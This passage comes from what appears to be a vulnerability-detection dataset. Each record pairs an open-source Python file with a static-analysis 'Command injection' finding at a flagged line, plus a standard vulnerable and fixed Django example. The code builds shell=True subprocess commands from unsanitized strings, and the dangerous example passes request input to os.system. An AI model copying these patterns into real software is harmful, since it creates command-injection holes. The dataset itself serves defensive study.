run\n self.f.write(\"\\t@%s\\n\" % cmd)\n self.f.flush()\n\n def display(self):\n \"\"\"\n Print the current makefile to the screen.\n \"\"\"\n self.f.seek(0)\n filetext = self.f.read()\n print(filetext)\n\n def run(self, njobs=1, dryrun=False, debug=False, ignore_err=True,\n force=False, clean=False, other_args=None):\n \"\"\"\n Run the makefile with njobs parallel jobs.\n njobs: int, number of parallel jobs to run.\n dryrun: bool, set to True to print the commands without running them.\n debug: bool, set to True to run in debug mode.\n ignore_err: bool, set to True to continue the workflow even if errors\n are detected (recommended if several independent steps are running)\n force: bool, set to True to re-run all the commands\n clean: bool, set to True to run the clean command as well\n other_args: str, any other argument to pass to make\n \"\"\"\n cmd = \"make -f %s\" % self.filename\n\n # Check njobs option and append\n if isinstance(njobs, int):\n if njobs > 1:\n cmd += ' -j %i' % njobs\n else:\n print(\"ERROR: njobs must be of type int\")\n sys.exit()\n\n # Append other options\n if dryrun:\n cmd += ' -n --no-print-directory'\n if debug:\n cmd += ' -d'\n if ignore_err:\n cmd += ' -i'\n if force:\n cmd += ' -B'\n if clean:\n cmd += ' clean'\n\n # Allow any other arguments to be passed\n if other_args is not None:\n cmd += ' ' + other_args\n\n # Run make\n subprocess.run(cmd, shell=True)\n\n\ndef check_args_inout(args):\n \"\"\"\n Accepted arguments for input/outputs are string (in case a single input/output), or some kind of list (list, tuple, numpy array). Convert the latter into a string with a space delimiter for the makefile.\n Remove redundant slashes in filenames as it will be recognized as a different file by make.\n \"\"\"\n # To comply with both Python3 and 2, string must be detected first\n # in Python3, string have __iter__ attribute too\n if isinstance(args, str):\n if len(args) > 0: # exclude empty string\n args = os.path.normpath(args)\n # should work for list, tuples, numpy arrays\n elif hasattr(args, '__iter__'):\n args = [os.path.normpath(arg) for arg in args]\n args = ' '.join(args)\n else:\n print(\"ERROR: argument must be iterable (list, tuple, array). \\\n Currently set to:\")\n print(args)\n traceback.print_stack()\n sys.exit()\n\n return args\n\n\ndef check_args_output(args):\n \"\"\"\n Accepted arguments for outputs are string (in case a single output), or some kind of list (list, tuple, numpy array). Convert all into a list.\n Remove redundant slashes in filenames as it will be recognized as a different file by make.\n \"\"\"\n # To comply with both Python3 and 2, string must be detected first\n # in Python3, string have __iter__ attribute too\n if isinstance(args, str):\n if len(args) > 0: # exclude empty string\n args = [os.path.normpath(args)]\n else:\n args = []\n # should work for list, tuples, numpy arrays\n elif hasattr(args, '__iter__'):\n args = [os.path.normpath(arg) for arg in args]\n else:\n print(\"ERROR: argument must be str or iterable (list, tuple, array). \\\n Currently set to:\")\n print(args)\n traceback.print_stack()\n sys.exit()\n\n return args\n\n\ndef check_args_cmd(args):\n \"\"\"\n Accepted commands for all functions are string (in case a single command), or some kind of list (list, tuple, numpy array). Convert both cases to list.\n \"\"\"\n # To comply with both Python3 and 2, string must be detected first\n # in Python3, string have __iter__ attribute too\n if isinstance(args, str):\n args = [args, ]\n elif hasattr(args, '__iter__'): # if arg is iterable\n pass\n else:\n print(\"ERROR: argument must be iterable (list, tuple, array) \\\n or string\")\n print(args)\n sys.exit()\n\n return args\n\n\ndef escape_char(string):\n \"\"\"\n Escape special characters from string before passing to makefile.\n Maybe more characters will need to be added.\n \"\"\"\n string = string.replace(\"'\", \"\\\\'\") # escape '\n string = string.replace('\"', '\\\\\"') # escape \"\n string = string.replace(\"\\n\", \"\\\\n\") # escape \\n\n return string", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 276, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "e3c844f9b61c9c5301fda8bb6199f563729a9f065597d8731d7b3cc4b2921bfb", "license": {"spdx": ["MIT"], "repo": "thara/bulletlog", "path": "runtests.py", "repo_head_hexsha": "d33f30122b0ef10678f6d724c0b81589c7bc1427", "stack_hexsha": "d112796adc9fef7c881a4d9eea8602a74dbb8db5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 27, "entireCode": "import os, subprocess, textwrap, shutil, traceback\nimport hashlib\n\nsut = 'target/debug/bulletlog'\nroot_dir = 'tmp'\n\ndef mkdir(path):\n try:\n os.mkdir(path)\n except FileExistsError:\n pass\n return path\n\ndef ensure(func, path):\n try:\n func(path)\n except (FileExistsError, FileNotFoundError):\n pass\n return path\n\ndef bulletlog_env(file, date):\n return {'BULLETLOG_FILE': file, 'BULLETLOG_DATE': date}\n\ndef run(arg, file=None, date=None, **kwargs):\n env = {'BULLETLOG_FILE': file, 'BULLETLOG_DATE': date}\n env = {k: v for (k, v) in env.items() if v is not None}\n return subprocess.run(sut + \" \" +arg, shell=True, check=True, env=env, **kwargs)\n\ndef sha1(b):\n return hashlib.sha1(b).hexdigest()\n\ndef test_new_file():\n dir = mkdir(os.path.join(root_dir, 'test_new_file'))\n target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n run(\"add NOTE\", target_file, '2020-01-05')\n\n expected = textwrap.dedent(\"\"\"\\\n ## 2020-01-05\n\n * NOTE\n\n \"\"\")\n with open(target_file, 'rb') as f:\n assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_add_entry():\n dir = mkdir(os.path.join(root_dir, 'test_add_entry'))\n target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n run(\"task NOTE1\", target_file, '2020-01-05')\n run(\"task NOTE2\", target_file, '2020-01-05')\n run(\"task NOTE3\", target_file, '2020-01-05')\n\n expected = textwrap.dedent(\"\"\"\\\n ## 2020-01-05\n\n - NOTE1\n\n - NOTE2\n\n - NOTE3\n\n \"\"\")\n with open(target_file, 'rb') as f:\n assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_new_section():\n dir = mkdir(os.path.join(root_dir, 'test_new_section'))\n target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n run(\"task NOTE1\", target_file, '2020-01-05')\n run(\"task NOTE2\", target_file, '2020-01-05')\n run(\"task NOTE3\", target_file, '2020-01-05')\n run(\"add NOTE5\", target_file, '2020-01-10')\n\n expected = textwrap.dedent(\"\"\"\\\n ## 2020-01-10\n\n * NOTE5\n\n ## 2020-01-05\n\n - NOTE1\n\n - NOTE2\n\n - NOTE3\n\n \"\"\")\n with open(target_file, 'rb') as f:\n assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\ndef test_tasks():\n dir = mkdir(os.path.join(root_dir, 'test_tasks'))\n target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n run(\"task NOTE1\", target_file, '2020-01-05')\n run(\"add NOTE2\", target_file, '2020-01-05')\n run(\"task NOTE3\", target_file, '2020-01-05')\n run(\"add NOTE5\", target_file, '2020-01-10')\n run(\"task NOTE8\", target_file, '2020-01-10')\n run(\"add NOTE10\", target_file, '2020-01-25')\n run(\"task NOTE12\", target_file, '2020-01-25')\n\n r = run(\"tasks\", target_file, capture_output=True)\n\n expected = textwrap.dedent(\"\"\"\\\n 0: NOTE12\n 1: NOTE8\n 2: NOTE1\n 3: NOTE3\n \"\"\")\n assert sha1(expected.encode('utf-8')) == sha1(r.stdout)\n\ndef test_complete_task():\n dir = mkdir(os.path.join(root_dir, 'test_complete_task'))\n target_file = ensure(os.remove, os.path.join(dir, 'result'))\n\n run(\"task NOTE1\", target_file, '2020-01-05')\n run(\"add NOTE2\", target_file, '2020-01-05')\n run(\"add NOTE5\", target_file, '2020-01-10')\n run(\"task NOTE8\", target_file, '2020-01-10')\n run(\"add NOTE10\", target_file, '2020-01-25')\n run(\"task NOTE12\", target_file, '2020-01-25')\n\n run(\"comp 2\", target_file)\n\n expected = textwrap.dedent(\"\"\"\\\n ## 2020-01-25\n\n * NOTE10\n\n - NOTE12\n\n ## 2020-01-10\n\n * NOTE5\n\n - NOTE8\n\n ## 2020-01-05\n\n x NOTE1\n\n * NOTE2\n\n \"\"\")\n\n with open(target_file, 'rb') as f:\n assert sha1(expected.encode('utf-8')) == sha1(f.read())\n\n# Before all\nshutil.rmtree(root_dir)\nmkdir(root_dir)\n\ntest_failed = False\n\ntry:\n test_new_file()\n test_add_entry()\n test_new_section()\n test_tasks()\n test_complete_task()\nexcept AssertionError as e:\n test_failed = True\n traceback.print_exec()\n\nif test_failed:\n print(\"failed\")\nelse:\n print(\"pass\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "48ce06c947af665339c7c6636371972f0a436b7806adb1793694e429eb864c72", "license": {"spdx": ["Apache-2.0"], "repo": "TakesxiSximada/dumpcar", "path": "scripts/get-db-raw-snapshot-mysql.py", "repo_head_hexsha": "5046c36ab62c38aeee511a6593a0ad176eb9d941", "stack_hexsha": "632dd9f6e12bbbd1b4acf6b14acf7925e0d8ee52", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 12, "entireCode": "import getpass\nimport argparse\nimport subprocess\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('host')\nparser.add_argument('user')\nparser.add_argument('db')\nargs = parser.parse_args()\n\nchild = subprocess.run('mysqldump -h {} -u {} {}'.format(\n args.host, args.user, args.db), shell=True)\nchild.wait()\nchild = subprocess.run('mysqldump -h {} -u {} {}'.format(\n args.host, args.user, args.db), shell=True)\nchild.wait()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "13583781800e3ff8e0e77b0906b3d6f5318f5d9f31e9cc02f3b685a6f189413a", "license": {"spdx": ["MIT"], "repo": "MoD-i/data-exchange-backend", "path": "src/utils/auto_node_create.py", "repo_head_hexsha": "a1d0532f6c5d3fee90615fce2de17d13168f8db1", "stack_hexsha": "17ece0b729be64e9fb3c82a0a54cd64586bd319e", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 84, "entireCode": "#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n# created_on: 2018-07-27 21:37\n\n\"\"\"\nauto_node_create.py\n\nAIM: Automatically:\n 1. Install Multichain\n 2. Check/Use or Create new Node\n 3. Connect Node with MoD-i Blockchain\nPre-requisites:\n 1. OS: Linux(Debian) or Windows\n 2. `sudo` password in Linux\n 3. Python >= 3.6\n\"\"\"\n\nimport os\nimport subprocess\nimport requests\nimport socket\nimport getpass\nfrom pathlib import Path\nimport re\nimport sys\nimport logging\n\n\n__version__ = '1.0.0'\n__author__ = ' <>'\n__copyright__ = 'Copyright (C) 2018 MoD-i. All rights reserved.'\n__license__ = 'Distributed under terms of the MIT license.'\n\n\nlogger = logging.getLogger(__name__)\n\nHOSTNAME = socket.gethostname()\nUSER = getpass.getuser()\nCOUNT = 0\nSUFFIX = 'node'\nHOME_DIR = str(Path.home())\nBASE_NAME = f'{HOSTNAME}-{USER}-{SUFFIX}'\nNODE_NAME = f'{BASE_NAME}{COUNT}'\nNODE_DIR = os.path.join(HOME_DIR, NODE_NAME)\nREGEX = re.escape(BASE_NAME) + r'[0-9]+'\nRE_OBJ = re.compile(REGEX, re.IGNORECASE)\nEXISTING_NODES = []\n\n\n##\n# check if all-ready a MoD-i created default node present \n# default node name: {hostname}-{count}-node\n##\n\ndef check_node():\n found = 0\n\n for dirs in os.listdir(HOME_DIR):\n if RE_OBJ.match(dirs):\n found += 1\n EXISTING_NODES.append(dirs)\n return found \n\n\ndef create_node():\n global NODE_DIR\n if len(EXISTING_NODES) > 0:\n logger.warning('Creating another node.')\n last_node_no = max(map(lambda node: int(node[-1]), EXISTING_NODES))\n new_node_no = last_node_no + 1\n os.mkdir(os.path.join(HOME_DIR, BASE_NAME + str(new_node_no)))\n NODE_DIR = str(os.path.join(HOME_DIR, BASE_NAME + str(new_node_no)))\n else:\n logger.warning('Creating new node.')\n os.mkdir(NODE_DIR)\n\n \ndef connect_node():\n global NODE_DIR\n print('command\\n:', NODE_DIR)\n # p = subprocess.run(['multichaind', f'-datadir={NODE_DIR}', 'block-chain@172.16.17.32:2657'], shell=True, \n # p = subprocess.run(['multichaind -datadir=/home/toran/mint-ThinkPad-L440-root-node0 block-chain@172.16.17.32:2657'], shell=True, \n p = subprocess.run([f'multichaind -datadir={NODE_DIR} block-chain@172.16.17.32:2657'], shell=True, \n stdout=subprocess.PIPE)\n res = p.stdout.decode()\n print(res)\n\n\ndef install_multichain():\n # TODO: check if already installed and skip\n os.chdir('/tmp/')\n subprocess.run(['wget', 'https://www.multichain.com/download/multichain-1.0.5.tar.gz'])\n subprocess.run(['tar', '-xvzf', 'multichain-1.0.5.tar.gz'])\n os.chdir('multichain-1.0.5')\n subprocess.run(['sudo', 'mv', 'multichaind', 'multichain-cli', 'multichain-util', '/usr/local/bin'])\n\n\n\nif __name__ == '__main__':\n found = check_node()\n if found==1:\n print(f'There is already {found} nodes linked to the MoD-i blockchain')\n elif found>1:\n print(f'There are already {found} nodes linked to the MoD-i blockchain')\n\n while True:\n if found == 0:\n user_inp = input(\"Do you want to create a node [y/n] : \")\n else: \n user_inp = input(\"Do you still want to create a new node [y/n] : \")\n if user_inp.lower() in ('n', 'no'):\n logger.info('Aborted. Exiting.')\n sys.exit()\n elif user_inp.lower() in ('y', 'yes'):\n install_multichain()\n logger.info('multichain installed')\n create_node()\n logger.info('One node created.')\n connect_node()\n logger.info('Node connected.')\n # TODO: Tell datadir, chain name etc\n sys.exit()\n else:\n print('Please enter a valid option')\n logger.info('Invaid option entered.')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 84, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "fe5672e9057e1c883cb11b5ebd7d25f8e27252094984465eb141eff5ca600e8e", "license": {"spdx": ["MIT"], "repo": "bigdatamoore/py-az-cli", "path": "test/pyaz/resource/link/__init__.py", "repo_head_hexsha": "54383a4ee7cc77556f6183e74e992eec95b28e01", "stack_hexsha": "5278f00de44639f802a1c375c893306cf8471e47", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 9, "entireCode": "import json, subprocess\nfrom ... pyaz_utils import get_cli_name, get_params\n\n\ndef create(link, target, notes=None):\n params = get_params(locals()) \n command = \"az resource link create \" + params\n print(command)\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = output.stdout.decode(\"utf-8\")\n stderr = output.stderr.decode(\"utf-8\")\n if stdout:\n return json.loads(stdout)\n print(stdout)\n else:\n raise Exception(stderr)\n print(stderr) \n\ndef delete(link):\n params = get_params(locals()) \n command = \"az resource link delete \" + params\n print(command)\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = output.stdout.decode(\"utf-8\")\n stderr = output.stderr.decode(\"utf-8\")\n if stdout:\n return json.loads(stdout)\n print(stdout)\n else:\n raise Exception(stderr)\n print(stderr) \n\ndef show(link):\n params = get_params(locals()) \n command = \"az resource link show \" + params\n print(command)\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = output.stdout.decode(\"utf-8\")\n stderr = output.stderr.decode(\"utf-8\")\n if stdout:\n return json.loads(stdout)\n print(stdout)\n else:\n raise Exception(stderr)\n print(stderr) \n\ndef list(scope=None, filter=None):\n params = get_params(locals()) \n command = \"az resource link list \" + params\n print(command)\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = output.stdout.decode(\"utf-8\")\n stderr = output.stderr.decode(\"utf-8\")\n if stdout:\n return json.loads(stdout)\n print(stdout)\n else:\n raise Exception(stderr)\n print(stderr) \n\ndef update(link, target=None, notes=None):\n params = get_params(locals()) \n command = \"az resource link update \" + params\n print(command)\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout = output.stdout.decode(\"utf-8\")\n stderr = output.stderr.decode(\"utf-8\")\n if stdout:\n return json.loads(stdout)\n print(stdout)\n else:\n raise Exception(stderr)\n print(stderr) ", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "5367a52f1cdb5bd6243946daa0b253ec3954651835a8216a3f248e87574549da", "license": {"spdx": ["Apache-2.0"], "repo": "dtrawins/seldon-core", "path": "testing/scripts/test_ksonnet_single_namespace.py", "repo_head_hexsha": "3d8b3791b343118953757a1e787e5919cc64e697", "stack_hexsha": "0a444a2a9b00c93ede978edd61b59c20a6608e93", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 9, "entireCode": "import pytest\nimport time\nimport subprocess\nfrom subprocess import run,Popen\nfrom seldon_utils import *\nfrom k8s_utils import *\n\ndef wait_for_shutdown(deploymentName):\n ret = run(\"kubectl get deploy/\"+deploymentName, shell=True)\n while ret.returncode == 0:\n time.sleep(1)\n ret = run(\"kubectl get deploy/\"+deploymentName, shell=True)\n\ndef wait_for_rollout(deploymentName):\n ret = run(\"kubectl rollout status deploy/\"+deploymentName, shell=True)\n while ret.returncode > 0:\n time.sleep(1)\n ret = run(\"kubectl rollout status deploy/\"+deploymentName, shell=True) \n\ndef initial_rest_request():\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST) \n if not r.status_code == 200:\n time.sleep(1)\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n if not r.status_code == 200:\n time.sleep(5)\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n return r\n\n@pytest.mark.usefixtures(\"seldon_java_images\")\n@pytest.mark.usefixtures(\"single_namespace_seldon_ksonnet\")\nclass TestSingleNamespace(object):\n \n # Test singe model helm script with 4 API methods\n def test_single_model(self):\n run('cd my-model && ks delete default && ks component rm mymodel', shell=True)\n run('kubectl delete sdep --all', shell=True)\n run('cd my-model && ks generate seldon-serve-simple-v1alpha2 mymodel --image seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret && ks apply default -c mymodel', shell=True, check=True) \n wait_for_rollout(\"mymodel-mymodel-025d03d\")\n r = initial_rest_request()\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = rest_request_ambassador(\"mymodel\",None,API_AMBASSADOR)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = grpc_request_ambassador2(\"mymodel\",None,API_AMBASSADOR) \n print(r)\n r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n print(r)\n run('cd my-model && ks delete default -c mymodel && ks component rm mymodel', shell=True) \n\n # Test AB Test model helm script with 4 API methods\n def test_abtest_model(self):\n run('cd my-model && ks delete default && ks component rm mymodel', shell=True)\n run('kubectl delete sdep --all', shell=True)\n run('cd my-model && ks generate seldon-abtest-v1alpha2 myabtest --imageA seldonio/mock_classifier:1.0 --imageB seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret && ks apply default -c myabtest', shell=True)\n wait_for_rollout(\"myabtest-myabtest-41de5b8\")\n wait_for_rollout(\"myabtest-myabtest-df66c5c\") \n r = initial_rest_request()\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = rest_request_ambassador(\"myabtest\",None,API_AMBASSADOR)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = grpc_request_ambassador2(\"myabtest\",None,API_AMBASSADOR) \n print(r)\n r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n print(r)\n run('cd my-model && ks delete default -c myabtest && ks component rm myabtest', shell=True)\n\n # Test MAB Test model helm script with 4 API methods\n def test_mab_model(self):\n run('cd my-model && ks delete default && ks component rm mymab', shell=True)\n run('kubectl delete sdep --all', shell=True)\n run('cd my-model && ks generate seldon-mab-v1alpha2 mymab --imageA seldonio/mock_classifier:1.0 --imageB seldonio/mock_classifier:1.0 --oauthKey=oauth-key --oauthSecret=oauth-secret && ks apply default -c mymab', shell=True) \n wait_for_rollout(\"mymab-mymab-41de5b8\")\n wait_for_rollout(\"mymab-mymab-b8038b2\")\n wait_for_rollout(\"mymab-mymab-df66c5c\") \n r = initial_rest_request()\n r = rest_request_api_gateway(\"oauth-key\",\"oauth-secret\",None,API_GATEWAY_REST)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = rest_request_ambassador(\"mymab\",None,API_AMBASSADOR)\n res = r.json()\n print(res)\n assert r.status_code == 200\n assert len(r.json()[\"data\"][\"tensor\"][\"values\"]) == 1\n r = grpc_request_ambassador2(\"mymab\",None,API_AMBASSADOR) \n print(r)\n r = grpc_request_api_gateway2(\"oauth-key\",\"oauth-secret\",None,rest_endpoint=API_GATEWAY_REST,grpc_endpoint=API_GATEWAY_GRPC)\n print(r)\n run('cd my-model && ks delete default && ks component rm mymab', shell=True) \n ", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
